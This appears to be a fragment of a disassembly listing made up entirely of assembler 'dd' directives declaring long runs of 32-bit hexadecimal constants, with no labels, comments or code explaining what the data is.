		dd 6D07AAB0h, 9AB15F45h, 89471540h, 0C822EDAAh,	8D708305h
		dd 11801264h, 4E0F84A6h, 8A0086ADh, 60494ECh, 0F9CA4730h
		dd 483F5976h, 11C0851h,	62048099h, 0F0EB0EF1h, 445DEC00h
		dd 20807B3Ch, 73D601EFh, 0D592607h, 64BA20EBh, 0FF43AA13h
		dd 3C14E440h, 6140F9EEh, 8F825039h, 0AEA4CC53h,	0A7C58A0Ch
		dd 70879B7h, 1AF27E5Dh,	0F122408Dh, 7C03BAD5h, 4516A7Ah
		dd 3377A80Fh, 371AF2ACh, 0C0393F75h, 26A82E11h,	30D60E4Ch
		dd 0D471890h, 3E2CE291h, 400FE4Fh, 0C5CE5564h, 0F0387D6h
		dd 4A7A37A0h, 0F0EDC805h, 90DB00BBh, 14B9EA2Fh,	2700B036h
		dd 0F3443580h, 0A6386E3h, 66FE8EAAh, 1F7E5F04h,	472A02D5h
		dd 11D8861Ah, 0BE547C9Bh, 0CDE68720h, 8AF0FDA7h, 0ECEBCBFAh
		dd 73190159h, 768EC86Dh, 8439DCD1h, 0EFC18D00h,	17166E35h
		dd 0C82B0080h, 7E3186Ch, 8A3B822Ah, 9E73B8D7h, 0C019A45h
		dd 6EEA26B4h, 0FC3E43D0h, 79E101ACh, 2D07045Bh,	1BF02A6Bh
		dd 89ED06DCh, 0B142AB84h, 0A923AE00h, 0B2E5BCA8h, 4F241DCCh
		dd 878B09C0h, 20DBA407h, 547E1B9Eh, 0A7C920h, 0D398735Bh
		dd 0D519F4B8h, 0D9D9CC31h, 59801F11h, 7F68DE33h, 0C000CEF8h
		dd 0D13007AEh, 0F2D68378h, 2702001Dh, 0FC5CAF97h, 7E752F9Bh
		dd 86614160h, 31ACE0Ch,	0C9D5EAECh, 17E00272h, 24608D73h
		dd 5F0405F6h, 0F307EE5h, 7EA154A5h, 40A81406h, 91DB6B30h
		dd 13F7C4Eh, 4A20B60Bh,	0C48CAFCEh, 0D70A2FF7h,	0C8C6DFDCh
		dd 65A67E40h, 246E0CABh, 419CE5Ah, 0AAB14001h, 6563990Ch
		dd 824EE440h, 34A04DF2h, 0F4301201h, 302039C6h,	0D7006484h
		dd 0DCF38996h, 48728h, 775EA24h, 0CEE05954h, 7B3FD40Ah
		dd 3800E041h, 8A516DDBh, 0FB4800F9h, 0BA89FA88h, 0C0A85028h
		dd 0C350F7B1h, 0BA88206Ch, 2BD13A0Eh, 0C6DD2300h, 0A6248609h
		dd 0F42C4700h, 10126F94h, 1BD00C1Dh, 0D841C57Fh, 54732300h
		dd 2FD72BBFh, 0FCF7B59h, 46568A32h, 72D0397h, 3100C77Fh
		dd 6BF49FA0h, 0E2711FE9h, 7A31D45h, 35B7C0D2h, 290ABAB8h
		dd 0FC753812h, 205C0834h, 0C00FBC1Fh, 941D2004h, 77BDA945h
		dd 5E90089h, 1CB4E8D3h,	83135242h, 0DC428427h, 41F74C0Bh
		dd 0E0188154h, 0BC63A604h, 933BFDDh, 0F1643900h, 2A1EC299h
		dd 3EE8A05Bh, 0D4750091h, 0BC8CEA18h, 0DC4ED55Ah, 731484FCh
		dd 0D087B093h, 0C508485Dh, 2600BE4Ch, 88BD8CFFh, 0A66090A5h
		dd 313E4220h, 26E00DFh,	0F355B0C2h, 0FC000E3Bh,	63742D05h
		dd 0C0E27F87h, 12B05EC9h, 840A5C6Ah, 0C8071B67h, 3921E098h
		dd 347107D3h, 0A0B4C720h, 7E4A035Dh, 0F8B1F929h, 2407DE11h
		dd 70E0627Fh, 0CFB6770Fh, 9B2A4701h, 0D1B4A05Ch, 116CA0EFh
		dd 3C8E0CA1h, 30E8C63Dh, 0E641B860h, 1BC4E8Bh, 5E83BF27h
		dd 4CD2C687h, 7E5411C0h, 6000DC88h, 0DF1F397Dh,	2EF2700Ch
		dd 628AC9h, 57FC7BB7h, 0A603D32Eh, 367C0276h, 4375F0FAh
		dd 0D9DC619Ch, 0DC267374h, 89502F11h, 314451BCh, 1099FDh
		dd 0EF0A046Eh, 0C603F3A9h, 121159DFh, 5328096Ch, 810FA08h
		dd 3A01AE1Eh, 8A732E54h, 1980DB7Fh, 0F66A089Ch,	7CB8A329h
		dd 88849A26h, 1E02A1Ch,	3E26E61Ah, 0F05B7E40h, 309A4C82h
		dd 0A857660Fh, 2C2760B9h, 1C8CC0Bh, 5C77677Bh, 431C4904h
		dd 1A1E1ED4h, 86528D3Ah, 8353CC0Bh, 7BD65A7Bh, 24349049h
		dd 40CC6C28h, 0F781D321h, 2067403h, 0F8635160h,	1F3820Eh
		dd 0D5870F29h, 2414EA23h, 133283FCh, 837FD1D7h,	88B9C650h
		dd 28327Ch, 304F2A59h, 4388361Ah, 51CCF900h, 0F57C2749h
		dd 0BAF8A387h, 496C449Bh, 0D60260A4h, 0DD9EE553h, 0A7989060h
		dd 0B75C9618h, 12CCAA9h, 53127AD1h, 0A929513Bh,	69013891h
		dd 0F9EDD0D4h, 0C02BC32h, 0C8D9C496h, 791EC090h, 0F5F08A50h
		dd 51E9EA40h, 21B0B465h, 103855C8h, 71321203h, 2AA70Ch
		dd 24340308h, 3858F861h, 5AD5F300h, 6D9EEB08h, 0D2B3005Fh
		dd 0BA0AD60Fh, 9072433h, 0C9354923h, 283C3B70h,	0DD3F00BFh
		dd 0E2909E53h, 28C3B850h, 366489h, 34ED2858h, 5DE4D941h
		dd 62F30900h, 0E2FA72F1h, 191E006Eh, 495BCD11h,	3F69D590h
		dd 213F8069h, 3366DC9Eh, 814C5EACh, 0EA4956E8h,	28F8A930h
		dd 3F3504h, 3AF7E590h, 0A858BFD7h, 2121E730h, 0F62D7Ch
		dd 87D2CFCAh, 0E9D4194Bh, 0FFB8AF00h, 7F2B0F7Bh, 0F63803C6h
		dd 0DD061C59h, 0D026A2E1h, 0D307B561h, 8A5636B7h, 0B4A89171h
		dd 0F20830CFh, 367F4D21h, 3C638h, 9FEB79Fh, 403166EFh
		dd 0F8769724h, 88CB40Ch, 0E802901Eh, 96C700BFh,	0C220F952h
		dd 0C00A054h, 9CFD68E7h, 1501CEC1h, 8402D614h, 0EA8F5B00h
		dd 0E8301121h, 0CAD92960h, 1F4EB7Ah, 0DA1BECEFh, 0E1F224B9h
		dd 8021BB35h, 3728A4C7h, 1FAF4C12h, 30B7B63Ch, 9717A699h
		dd 53E92600h, 255001F8h, 0EE38C7FDh, 340540EBh,	0AD00E861h
		dd 15ABDA08h, 0FAF083F6h, 13F7004Eh, 76C402B8h,	3A0C7FAFh
		dd 58DECBB7h, 0F2ED0316h, 0D6CD1DE5h, 347F3800h, 0A8F9CE70h
		dd 24160CA9h, 1149F1DEh
		dd 55D29700h, 3EB7ADC4h, 0ED63297Ah, 0A0480018h, 5E904B91h
		dd 54BC3324h, 1EC33980h, 3E7EFB7Bh, 0EC87CCEBh,	0F0649F92h
		dd 0AB0E2B26h, 0D0BA5A00h, 1DF9C95Bh, 35290003h, 0AD9D239Ch
		dd 9201E055h, 1A501305h, 1DEBC63Fh, 807699B9h, 0A13015A9h
		dd 9CA9970Ch, 7CDE1034h, 92FD7B42h, 0BD330F00h,	3603F4BEh
		dd 35998045h, 24188329h, 9065E217h, 68D539Bh, 3149FD87h
		dd 0C4003978h, 0F69E7541h, 0B0D003A9h, 541F744Fh, 0A093E079h
		dd 929BF1h, 449A0CC6h, 0D6363EEDh, 0E3F0F154h, 0B9CE1901h
		dd 61151D60h, 7C79AE4h,	0F79337C5h, 469630B0h, 9016B4h
		dd 0C05880C8h, 0F6797506h, 911E0121h, 16077A77h, 99BD0460h
		dd 0C7091C00h, 0DA45016Eh, 0B0AF7091h, 404CD19Ch, 622E59B0h
		dd 19189B62h, 32CC4804h, 1EDC050Eh, 5EC8A2E5h, 0DB803D98h
		dd 0AD8815F4h, 0E7009FB6h, 0B0EED3FFh, 79408Ch,	100DF950h
		dd 0E2A0763Ch, 61F160D9h, 507F77CCh, 4C1508E5h,	0F2E16847h
		dd 0CE0C36h, 0B9459C6h,	0F96EFC45h, 0C4F6F8A0h,	6074CA30h
		dd 67F2A211h, 92CE1808h, 8221060Eh, 34000DE6h, 35671071h
		dd 0DD006D58h, 0EE9CFAh, 0FEABD97Eh, 7ABBE09Dh,	382A3A58h
		dd 0AE37034Ah, 0E0CCCB5Dh, 558B96h, 801E117Fh, 713395EFh
		dd 7B1B8303h, 0F8E6F008h, 7822CF6h, 0A254491Fh,	24B16003h
		dd 12F6E191h, 5E394800h, 419D95E8h, 55F03Eh, 41E5D8Ah
		dd 0C47D92E4h, 0EFC82100h, 1DBD0119h, 6D7807F2h, 611E9C8Ch
		dd 0CCA9DF9Fh, 0DD7DE422h, 155E6F00h, 0DBA8EE05h, 3052009Ah
		dd 0A98CF3FBh, 0BC00A2A6h, 96D7D0C4h, 0A1FA1Ah,	0BB0C0DACh
		dd 891E4728h, 484CFC00h, 2B7B1F80h, 37F800E4h, 28767C95h
		dd 0D9745DC7h, 32000DF0h, 0CE154BCCh, 98F3ADh, 0B0B6219Eh
		dd 0BC9BA4ABh, 94A13C03h, 0EBAF0Dh, 0DA697809h,	4D222142h
		dd 80B56B38h, 1985C320h, 6937147h, 0ED50545Ch, 0BA733133h
		dd 8A5D0818h, 3152C11h,	441BDA5Eh, 4CA38CB3h, 0B4670818h
		dd 3FA0DB20h, 0E189145Eh, 7301DC36h, 0C0E07B58h, 8798DAFh
		dd 5F4C28C3h, 0CA0789EBh, 0BD051080h, 7FE7FA94h, 0E1013C00h
		dd 0E92A9103h, 0FD3600E4h, 82E7053h, 0C52AFA9h,	5EF10248h
		dd 31E41BCEh, 0D700DE3Fh, 7F6D5EFCh, 0B6BE018Eh, 0B94289F8h
		dd 6F3CE81Ch, 9102E10Ch, 9EFAE7h, 3F0D9287h, 28780989h
		dd 0AA0022ECh, 0EA4D3CCh, 0C06DEB91h, 9F0BE779h, 0B7007BCFh
		dd 10801932h, 0CA6A797h, 84081A4Ch, 42F0CC29h, 8E40B800h
		dd 38A15D88h, 1A0C006Ch, 4F54B935h, 20FB2C0Dh, 0BE54102Ch
		dd 3F007C94h, 40B7AEA3h, 271C55Dh, 29F00D4Ch, 0F080A819h
		dd 99029DEFh, 0A014402h, 40FC2CDCh, 80074E00h, 0F20AF94Ch
		dd 20F3C348h, 439BAD70h, 62F3A4Bh, 7215B1F2h, 9EAF0330h
		dd 7BC7F494h, 7A181100h, 0C4B66A76h, 3931987h, 40C908DFh
		dd 0A645AF9Ch, 0C032DD00h, 1AE0E55Ah, 0F170A72h, 81F40888h
		dd 166AA84Ch, 5890486Eh, 59514100h, 0B607844Fh,	0CB2006E5h
		dd 80EFCDADh, 0E726FB46h, 8CB605ADh, 0C440482Bh, 0B85F3A80h
		dd 0B1FC0Ch, 2D8CC681h,	0CD88D877h, 0B41A100Ch,	0BE799Ch
		dd 6BB575F1h, 0F0AC919Fh, 0A77BE0E1h, 71C123B8h, 0F249CF4Fh
		dd 0E609EF8h, 6136380Fh, 0DC8B09Fh, 8700937Ch, 0F23F49A1h
		dd 18F0CEF6h, 4170064Dh, 5100887Ah, 9646C4A8h, 7EF354Ah
		dd 0FF0A8531h, 62E01F16h, 0B8B6E238h, 0E3E99918h, 2881F459h
		dd 28D4A37Ah, 485C87h, 0DFE33171h, 0F75F6C0Ah, 96E28C0h
		dd 0BEA9E8h, 0B5FC0538h, 1712ECF1h, 7CDB3500h, 7DFB0147h
		dd 0AFE405DCh, 40B63E95h, 0CC6A2DC4h, 7B062469h, 538E942Ch
		dd 211A6308h, 36A9B244h, 2E06C471h, 494F74Ch, 42131A0Fh
		dd 333EC090h, 0BC840180h, 60911FD4h, 0D3043464h, 7F48861Dh
		dd 31A280B9h, 2DD8CA1Ch, 0C7BE056Eh, 408198FEh,	9136B46Ch
		dd 0F4A87057h, 8C0E58B9h, 72956BFEh, 76680060h,	0D4B610C0h
		dd 72D0C487h, 0DDA44300h, 0B53E7954h, 0BA3F008Bh, 705E33BBh
		dd 0D432565Bh, 46AFE70Fh, 0A5CF8834h, 0A323AE21h, 88600C16h
		dd 0A6EAAD4Fh, 8DF42200h, 0F6278734h, 18054CF2h, 28B81401h
		dd 20255DCFh, 444CCD78h, 384D24EFh, 49E9958Dh, 0AA3418E0h
		dd 0D044A4h, 0E3FDE0BDh, 4AB6B47Ch, 0C61DB300h,	72BA0218h
		dd 702B1F29h, 0B210EBCh, 48064938h, 773D51C0h, 0EE0CA3h
		dd 0B16D9638h, 0F5FD918Ch, 265A7D0Eh, 42187B0h,	1CC831ACh
		dd 16F175Fh, 0AFE5C56Bh, 0C4845847h, 247BCC09h,	40C1CEBh
		dd 4B20CAAh, 1FD2105Bh,	0FDCA3F4Eh, 8203B43Eh, 80D024F4h
		dd 0DAF091h, 75B676EFh,	0F91BFCEAh, 0CC0F56E0h,	0A01D0657h
		dd 0F1A77D9Dh, 30B10440h, 82803F33h, 0C3E260h, 0C2556AB8h
		dd 5A1058C0h, 1E680EF0h, 401EAC4Eh, 6316EA0Fh, 0A014F59Eh
		dd 52A818A5h, 92C9E118h, 0E800AC0Ch, 0F06AA112h, 12150FD2h
		dd 2CB1E79h, 0BC065F4Ch, 50B19CA7h, 0B9B6379Eh,	10204048h
		dd 0C0C03E93h, 0CB247FCCh, 0BB222343h, 9C084E28h, 2FF8048h
		dd 0C43CBD07h, 67F860F6h, 2478056Fh, 2198D6h, 3F18B8D4h
		dd 700D0B5Ch, 0B09E7B57h, 0F5B3F2DCh, 14824FE4h, 94FF7484h
		dd 0FE517D05h, 412C8177h, 0D2C31095h, 20A85342h, 0BDBE6BC2h
		dd 1844611Ah, 0F0BCB18Fh, 0EB0CA415h, 54180CEAh, 3C8E738h
		dd 0BE61FAFDh, 0A9FF8E8h, 6AFE024Ch, 1AED40B4h,	1160C0A0h
		dd 0B800E88Ah, 0B97D06F9h, 13B5277h, 1A61B52Dh,	806A7812h
		dd 8A145D08h, 2480CF96h, 47E8500Dh, 9A266013h, 24003557h
		dd 94AADF42h, 60402E7h,	1B6A69C8h, 38CCB1F1h, 0E2B19Ch
		dd 0AA824EFAh, 0F859FD4Ah, 588BD800h, 9321B2E5h, 65CC3ABEh
		dd 0B743EE80h, 6D800A3Ch, 1DE47103h, 8BC708h, 41669B49h
		dd 0C5321BDDh, 0BA9E1800h, 0EE7F3ED4h, 0F210F030h, 0B8713E2Bh
		dd 0CE77CB00h, 72D0803h, 0C71CD208h, 8E6C808Ah,	0BCD837A4h
		dd 0D0D1F103h, 0A8DE96E3h, 2E295B56h, 432C8B57h, 0E9B8A977h
		dd 32766CCDh, 0D8AC7C00h, 0A05F8C7Ah, 0DDBE0628h, 0F963CC71h
		dd 80500548h, 8E1E7B73h, 0D0F10194h, 38447712h,	4050318Ah
		dd 9F0873F1h, 0B5360713h, 89501E09h, 35200C7h, 0F43EDD5Eh
		dd 3CBC0A45h, 88FC9816h, 3D00CAEFh, 0C7BDCC83h,	68D90001h
		dd 61DE818Bh, 73389EEAh, 0D329834Fh, 72B0FC6h, 1A4DE899h
		dd 5AAD819Fh, 220C6465h, 86302F00h, 858E3764h, 187F021h
		dd 6BF8B725h, 705F1C44h, 8C007910h, 0EEE1780Ah,	0B4FA56h
		dd 4520B112h, 0B3399546h, 0C54DF600h, 76159733h, 6F6400D8h
		dd 0EFA9EC37h, 0BA01F57Ah, 0AADA2277h, 1C814250h, 27E161B0h
		dd 2658F8C8h, 0C54014DEh, 0EBCD22C0h, 0EC2E1FF6h, 0D4550027h
		dd 0CCA07CD2h, 6DF89A07h, 0EE40DC6Ch, 1802A95Bh, 718C519Dh
		dd 6207D827h, 82956D3h,	986EE970h, 24ECF5h, 7E361252h
		dd 4AFBC8BAh, 0A7CEEA01h, 0BD9466B9h, 53E2418Fh, 7BED8220h
		dd 9B000693h, 8680B1E4h, 7AFE984Dh, 3E3AFC5Bh, 39BA918Dh
		dd 85CB3500h, 6D3038D1h, 0C8E01E74h, 0CEFAA100h, 0CF94AD96h
		dd 0C7A81FDDh, 0B0151E1Fh, 0CCFA0C11h, 9CA2E900h, 6D2E49BCh
		dd 0BBE3006Ah, 6B8BFCCAh, 7E00E7FFh, 2F9273Fh, 741B4Bh
		dd 130E9534h, 21A0E57Dh, 51A17F32h, 0E1049533h,	80C2884Eh
		dd 84C13010h, 7E2CDFh, 33A5AA19h, 8EC49FCh, 184ED406h
		dd 2228C607h, 5D107E2Bh
		dd 9B11A071h, 8BC2163h,	0F1887FC5h, 9362886Eh, 842A3088h
		dd 8D7126Ah, 0A6B94215h, 0DA223424h, 65893C80h,	80033A7h
		dd 2BAAD3FCh, 7BBA5Bh, 9974E20Ch, 3DB44B7Ch, 20FE4730h
		dd 0FF47738h, 17DC8C72h, 0D24C2FC0h, 2100E118h,	0B63ADF49h
		dd 7DBC77FDh, 3C7575F7h, 9F00854Fh, 943943EAh, 38071A70h
		dd 214C7D01h, 986784A1h, 0FC3ECCh, 0F7DAA2D2h, 3B943F58h
		dd 0ED530707h, 97902C8Bh, 10A631Eh, 0ADFD629Ch,	0F437B143h
		dd 6DF622C1h, 34D87500h, 6142F0C8h, 0A62B09A9h,	0A4011CCCh
		dd 869B578Ch, 0A5FE628Ah, 6C7E28h, 9869FB8Eh, 0EBDC4D2Bh
		dd 96B8E300h, 3CF8B464h, 45E0AEh, 0AF991C3Eh, 882C7F48h
		dd 73DAE200h, 50A8DE19h, 7EB200DFh, 0A9964E9Dh,	0F603F301h
		dd 3D80931Eh, 0B172B8C5h, 9DBE017Eh, 0E27709F7h, 0E6E1DCD3h
		dd 5A491400h, 92CB0AF2h, 6CAE5CEFh, 0A7E7C300h,	23186F1Dh
		dd 0B30084FAh, 8D625639h, 4A6106h, 17C038A2h, 0F6B69434h
		dd 0FF2C58h, 527A4427h,	0F2952D6Ch, 67EC5Eh, 3AAE1C14h
		dd 0B0CBF8B9h, 92C52500h, 0CE932344h, 3069F470h, 0FB219632h
		dd 0C5021DFAh, 1F45E05Ah, 0C44485h, 0ECBF8E67h,	0FE1BD5A2h
		dd 8CF44200h, 273E493Ch, 4DAC003Fh, 0EC58016Ah,	23002F11h
		dd 9F864AE6h, 31826A1h,	0DB3CC193h, 20CE453Eh, 0F74AEB01h
		dd 89D54E39h, 0FF61A0FFh, 3D078CCh, 2CCD32ABh, 0F298F923h
		dd 0B500B9E6h, 895603B2h, 603629D4h, 804F4E4Ah,	0ED00AE94h
		dd 7975D0DEh, 7AE31A35h, 0A62E00D8h, 0C40E2B02h, 1001683Fh
		dd 0B80DE618h, 0D9801766h, 55D4F4F9h, 0E0F86A05h, 0FAB138h
		dd 0A387935h, 4DF1Bh, 0C9228417h, 59230B08h, 0B2DE9200h
		dd 6474714Eh, 52270060h, 3787C08Bh, 0C3092D06h,	871DC4B7h
		dd 2F5723DDh, 0CAF0E3h,	0C667778Eh, 0E5859947h,	4D79DB00h
		dd 0E63C8438h, 24B50172h, 0ACF7A2C4h, 49E0EBEEh, 0CA78B004h
		dd 219AF000h, 5F368723h, 1DC1617h, 89790048h, 578A2210h
		dd 3C2E5B00h, 43C499ABh, 0A3BD0044h, 92813905h,	0B61EA017h
		dd 0DFC0A9DBh, 1BAFDD5Ah, 9A110491h, 804D5D3Bh,	16EEFE02h
		dd 9B585700h, 7F332D49h, 0F6673D23h, 0E17C12BDh, 3806F4h
		dd 0C11D0455h, 35A5A45Dh, 0F8830300h, 0C049733Dh, 2FF482h
		dd 0F5E1CC0Ah, 0EE248CFDh, 2B942E1Fh, 0C004DD3h, 0E98308C3h
		dd 0BACB02C2h, 0A10F8DD6h, 0E6242EC0h, 0BF035CE8h, 0A089B678h
		dd 0B7D1B023h, 8CA80E0Eh, 0D5C008A2h, 3EBC5FC9h, 0F3ADB802h
		dd 0FDEC6207h, 706C2D87h, 132F5288h, 995AB01Eh,	0F3AF927Dh
		dd 54D82001h, 6DC87917h, 6BC7137Ah, 0A88C0ED7h,	800EF49h
		dd 96D93BB8h, 62902200h, 0D76E2A2Bh, 521F008Ch,	5B83B15Dh
		dd 0EA1DF9FEh, 7A4FB920h, 7997E0D5h, 62934Ch, 1E41F5C2h
		dd 104D2447h, 0AB5A600h, 2A5485ACh, 3B311FECh, 0DA48402Dh
		dd 6773A76Ch, 0BD3FEB00h, 4113447Ch, 0DD8C3CB2h, 17977581h
		dd 0E0F93698h, 227AB7B9h, 0FE7F406h, 28F253h, 761A6E1Dh
		dd 467D956Fh, 62CCC0FFh, 2F8D5507h, 0B7003228h,	68225Ah
		dd 58F82773h, 71ED37E6h, 90001C7Ch, 0C7B9DF1Ah,	0B036CEh
		dd 3FA7689Ch, 45640748h, 0F24ED600h, 0F48AB67Ch, 903C4C34h
		dd 0BCE9170Bh, 6C00ED09h, 1F9B0ED7h, 6F8F261Eh,	8A01C601h
		dd 5CC3D8Dh, 0D1DC3B14h, 51CA5080h, 302259B5h, 9F48F2EAh
		dd 0F1B103ECh, 807A02D3h, 3C08644Fh, 9CBE7C87h,	19AF3F01h
		dd 605255A5h, 0AD3CCEB4h, 3C1E80F4h, 219468C7h,	9EA05FDh
		dd 8666D932h, 0CD002072h, 0FC22EFF5h, 1C36D8h, 0DA16B8A1h
		dd 2380C231h, 0B4594800h, 0BD9D817Ah, 0CA4F0004h, 653101B5h
		dd 42029CB7h, 765447F7h, 0A36C605Ch, 4E63880Bh,	9E2B002h
		dd 80F226BCh, 0BB909E86h, 8A5F0151h, 83525464h,	0E43BC9AAh
		dd 0C1399FC0h, 0F70C80A2h, 5462B12Bh, 0C57F9Ch,	26A625BEh
		dd 2C3D8D0h, 0C64DB0Fh,	0A060EE1Dh, 9F66FD8Fh, 0B87600ADh
		dd 5B105344h, 51EA54E9h, 0F78DFE00h, 924D0796h,	98580016h
		dd 2FD02ECEh, 0C43FE5EAh, 5C7B1E49h, 0F422B41h,	6EF423B6h
		dd 0FBEC03D9h, 2DBD371Ah, 0FF0198F0h, 50358B03h, 0D392A263h
		dd 34683ED8h, 6497F780h, 0C1150E18h, 0A13E58h, 0A4D10645h
		dd 51B9E7h, 23DD299Fh, 726A0EB0h, 8684900h, 2AD9EBF6h
		dd 8A0401D4h, 4AC11C84h, 269660C7h, 0CF996C0Eh,	271EA0DBh
		dd 0E721780h, 0C72138CCh, 0C1B17643h, 60F32100h, 0DF8D46FAh
		dd 25320066h, 63544004h, 68005CE5h, 7EB92109h, 1DE0D008h
		dd 0C0B4968Fh, 0C3F1C07Fh, 6A0082BAh, 24EAED73h, 35FA03h
		dd 0E3882654h, 0E6309D3h, 64BF4F00h, 0B150CE3Bh, 0C7A1Bh
		dd 78990F2Bh, 2FAAEFFFh, 0D7AEF200h, 82C4371Ch,	36300BEh
		dd 66B30544h, 411E2451h, 0F8097C02h, 2DAA0073h,	797A3h
		dd 26441EF4h, 7122F97Dh, 0F02581C3h, 0B3758085h, 46330165h
		dd 14A6D206h, 0AA0ECC3Fh, 0D07AA971h, 80E1BC3Eh, 7C9FE995h
		dd 3E91FBD4h, 0B2008AC9h, 0FD63F6BAh, 3B00FE1Ch, 54689698h
		dd 5FF3074Ah, 4033805Fh, 0D0028E39h, 94CAD9F2h,	0F00140FCh
		dd 98130063h, 12FDD3C3h, 212EC0C2h, 1E0094C8h, 0ADACD5A7h
		dd 6C5E078Dh, 50AAA903h, 8859FD7Ch, 0B8E78724h,	0A368D100h
		dd 61E54D82h, 0E2A620A9h, 0D0ED619Ch, 19B8AA07h, 9DD12B03h
		dd 0C3397ED8h, 0AB85B879h, 41600DBh, 6978293Ah,	8000F501h
		dd 40E498BBh, 0ECFA81C7h, 23E00F62h, 0BD23CCF2h, 0FFB002A8h
		dd 2703B435h, 0CD7F7219h, 0B385B0C3h, 0DBED006Ch, 0D846E1DEh
		dd 9A98C4B2h, 51167D0Eh, 0DCD74A11h, 60A3D004h,	962CA001h
		dd 0B7F4D879h, 487A4000h, 6A38A402h, 30AE3035h,	0C91CAAF8h
		dd 0E9F9F200h, 0BDCF2B85h, 0BA451FE4h, 2E1940AFh, 52A3DAF5h
		dd 268E8A0Eh, 85B5A0EBh, 7E9FB0h, 0DF1C2534h, 0A21E684Eh
		dd 0C21333FEh, 9200721Fh, 89102B44h, 7B23019Dh,	6DC3C6B5h
		dd 86F0EBEEh, 8BE8285Dh, 0E4EF39h, 7669C9A8h, 0D3702Ch
		dd 0E9334610h, 0BB6EE71Ah, 771CC67Ah, 0B4413D34h, 6FCCE099h
		dd 0F96B30h, 0D61A83D4h, 15B11846h, 857EA200h, 39A314D2h
		dd 314300F0h, 9D05F95Bh, 0A700FB08h, 1E0C8922h,	1DC9651h
		dd 4ABF9CD9h, 0C8B476E1h, 830341D8h, 5CE9A216h,	4030C0ECh
		dd 0D0D400D7h, 51241D1Eh, 93072D6Eh, 0AF06D947h, 68DDE760h
		dd 31FD00DCh, 18BEA2EAh, 593C2A35h, 47AA00CEh, 4BBC9C95h
		dd 0C3ECB7h, 80846CA7h,	0E202C89Eh, 4888D800h, 37623FAFh
		dd 0E0EC1D8Eh, 622CE3h,	0E7A804E8h, 7E1EC140h, 0CBC1EF20h
		dd 0EEBE7954h, 1C93AC30h, 0DD735ECAh, 6F00FF1Fh, 914D4836h
		dd 0A67FB4A7h, 5F7C3100h, 0A232DD2Fh, 0BE8E07D2h, 0A0EEAF93h
		dd 0F1BD6611h, 70C63000h, 22BF63FFh, 0FD9C0710h, 0E00A2C37h
		dd 0BBC54BCFh, 0FBA2E61Eh, 2B23D583h, 0EFB4C840h, 0F8932883h
		dd 0FD2D0090h, 0A739672Fh, 7D009F19h, 8E60E499h, 33510F09h
		dd 0DA20FCB4h, 3BA443E8h, 0AC7F2C0Fh, 0A22A818Ah, 0B5F4AA59h
		dd 5DB60F1Dh, 8A7C392h,	54E1D0FEh, 1E0E9C5Bh, 0C06E2252h
		dd 0FFAA279Dh, 49DD0389h, 41EE3DB0h, 83EA39B8h,	50ED4600h
		dd 0D0378F03h, 0BDF90E5Ah, 14C232CBh, 0E8A967C2h, 2C666380h
		dd 9330E123h, 0B5CBE4F4h, 0F6370038h, 5442265Eh, 0A1006D0Dh
		dd 6184E672h, 335A4h, 0C8FDAA78h, 46C14A7Dh, 59972100h
		dd 40B10125h, 0C97438E3h
		dd 0CCAB9480h, 93907B89h, 0F2DE4300h, 8B1057Eh,	0A26802E7h
		dd 0F1562160h, 92626440h, 0AA264CFCh, 16134DBAh, 8639A407h
		dd 89F95533h, 1EC5BDF0h, 0C7C1F8h, 26326FDCh, 0CCCAD63Fh
		dd 30021C03h, 0F89A1674h, 73F0608Ch, 2A9900B7h,	0BE9C210Dh
		dd 2E0015CAh, 0A4925F90h, 14327Bh, 1A66ACB8h, 7712FA4Ch
		dd 0EF17E91Dh, 5AFB6EC0h, 0BCE34h, 0FF2C88D0h, 0D95E112Eh
		dd 166FA000h, 17B131C4h, 87240AB4h, 90AC3533h, 0AB4905BEh
		dd 0CC401E6Ah, 0EA644AA0h, 0DFFE96h, 256302C9h,	3D44EDF2h
		dd 1CFB4900h, 12A764DAh, 0C0680BA0h, 0AC8410B8h, 50A48743h
		dd 0A4B6D304h, 0FB319301h, 36B376FFh, 1E7C0ED0h, 700B8ABFh
		dd 0F3F18681h, 0DCE29200h, 0F72463ECh, 7750093h, 0FE39AE79h
		dd 0BF00B76Fh, 4CEB2332h, 1E83F149h, 40DBE49Fh,	5893606Ch
		dd 9700DEC1h, 0D60933BEh, 0E592277h, 2BEA1E31h,	48567AEh
		dd 0DE2C8010h, 8C0081DBh, 45F1EFAAh, 30D83h, 9D91D7A2h
		dd 5727382Ah, 0A4E81DE4h, 13AB7E0Fh, 17DB679Eh,	4E677080h
		dd 0F6C20093h, 2B3089D3h, 99001C56h, 1B245EBDh,	3ADDBED5h
		dd 3D83098Fh, 673AE2ECh, 77955E0h, 0DF005B90h, 3CEA95A2h
		dd 7F9B0D65h, 0A422448h, 6487002Ch, 0F8DC9424h,	2623Bh
		dd 0ADBF2763h, 60B0E036h, 9F3B201Fh, 0AB008C34h, 0BB95076Fh
		dd 287105D0h, 1DD0E1AAh, 807B904Eh, 0B78F94F8h,	4007561Bh
		dd 74E66E0Eh, 0CB6FC620h, 90A73DBFh, 1FB54B0Eh,	0C5448420h
		dd 110033DEh, 595FECBBh, 1F7931E5h, 53A95399h, 0AE13AB1Ah
		dd 767B5200h, 565EEh, 0ACB0805Ch, 0F74C9E89h, 7EC85200h
		dd 0FF84EFD3h, 8120FF2Bh, 0DAF8A9B6h, 0FF4F019h, 1A00FB90h
		dd 86D22789h, 15C34Fh, 6C4572Ah, 403E01AAh, 6AA3BD1Dh
		dd 8074F8CFh, 564B04C9h, 0D081003Ah, 53A8FA6Ch,	0C500709Dh
		dd 95BB7358h, 4C83252h,	0B4FC0214h, 4C028133h, 0C04DF83Ah
		dd 67DF890Fh, 0A32607CDh, 0CC5E3200h, 0AF7F04D7h, 8006B87Ah
		dd 0E94BE3ACh, 8BF72E0Fh, 60D06F82h, 91D8F59Ch,	0CF1A0FD7h
		dd 6B807C73h, 0C574F008h, 0D48B20h, 6494FEFDh, 2D9B724Ch
		dd 8D000C7Dh, 0F4BF3CD8h, 0F35379Ah, 61E5232Fh,	65695040h
		dd 1107F9EAh, 9F575E84h, 0DF90E820h, 9185020Dh,	0B81D764Dh
		dd 7F4F1960h, 878DA200h, 641ABB5Fh, 2C48008Ch, 2E4D688h
		dd 900FC44h, 14CB1251h,	0F0C6EEC1h, 571C006Fh, 0A8120E2h
		dd 393F222Ah, 0C3EC80F6h, 0C73F9A04h, 83F40052h, 0D5100E26h
		dd 0E21D65EDh, 95003890h, 719640F5h, 0E58B0021h, 2A8EB232h
		dd 0E12EAB98h, 73005EDAh, 0DF6CEAC1h, 0F02401BEh, 0CC29BB77h
		dd 64DDD492h, 436BC600h, 3BD08907h, 527EF3h, 0AB7F9D69h
